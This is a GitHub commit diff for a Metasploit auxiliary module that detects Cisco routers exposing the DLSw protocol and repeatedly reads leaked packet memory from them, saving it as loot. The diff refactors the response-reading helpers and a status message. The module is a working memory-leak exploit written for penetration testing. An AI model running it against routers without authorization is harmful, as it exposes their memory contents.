Skip to content

Commit 57b04f9

Browse files
author
tate
committed
working with DLSw protocol check
1 parent b9a274f commit 57b04f9

File tree

1 file changed

+11
-35
lines changed

1 file changed

+11
-35
lines changed

modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb

Lines changed: 11 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -47,18 +47,21 @@ def peer
4747
peer = "#{rhost}:#{rport}"
4848
end
4949

50-
def response_timeout
51-
datastore['RESPONSE_TIMEOUT']
50+
def get_response(size = 8)
51+
connect
52+
response = sock.get_once(size)
53+
disconnect
54+
response
5255
end
5356

5457
# Called when using check
5558
def check_host(ip)
5659
print_status("Checking #{peer} for DLSw exposure")
5760
response = get_response
58-
61+
5962
dlsw_header = ["3148015b"].pack("H*") # => "\x31\x48\x01\x5b""
6063
if !response.blank? && (response[0..3] == dlsw_header)
61-
print_good("#{peer}: The target Cisco router appears vulnerable: parts of a Cisco IOS banner detected")
64+
print_good("#{peer}: Detected DLSw protocol")
6265
report_vuln(
6366
host: rhost,
6467
port: rport,
@@ -77,53 +80,26 @@ def check_host(ip)
7780
end
7881
end
7982

80-
def get_response(size = 1024)
81-
connect
82-
response = get_data(size)
83-
disconnect
84-
response
85-
end
86-
87-
# Borrowed from https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb
88-
def get_data(length = -1)
89-
90-
print_status("Calling get_response")
91-
return sock.get_once(-1, response_timeout) if length == -1
92-
93-
to_receive = length
94-
data = ''
95-
while to_receive > 0
96-
temp = sock.get_once(to_receive, response_timeout)
97-
break if temp.nil?
98-
99-
data << temp
100-
to_receive -= temp.length
101-
end
102-
data
103-
end
104-
10583
# Main method
10684
def run_host(ip)
10785
return unless check_host(ip) == Exploit::CheckCode::Vulnerable
10886

109-
print_status("#{peer}: Waiting for #{datastore['LEAK_AMOUNT']} bytes of leaked data")
110-
11187
dlsw_data = ''
11288
until dlsw_data.length > datastore['LEAK_AMOUNT']
11389
response = get_response(72)
114-
unless response.blank?
115-
dlsw_data << response[18..72] # range of the leaked packet contents
90+
unless response.blank?
91+
dlsw_data << response[18..72]
11692
end
11793
end
11894
loot_and_report(dlsw_data)
11995
end
12096

121-
def loot_and_report(dlsw_data)
97+
def loot_and_report(dlsw_leak)
12298
path = store_loot(
12399
'dlsw.packet.contents',
124100
'application/octet-stream',
125101
rhost,
126-
dlsw_data,
102+
dlsw_leak,
127103
'DLSw_leaked_data',
128104
'DLSw packet memory leak'
129105
)

0 commit comments

Comments
 (0)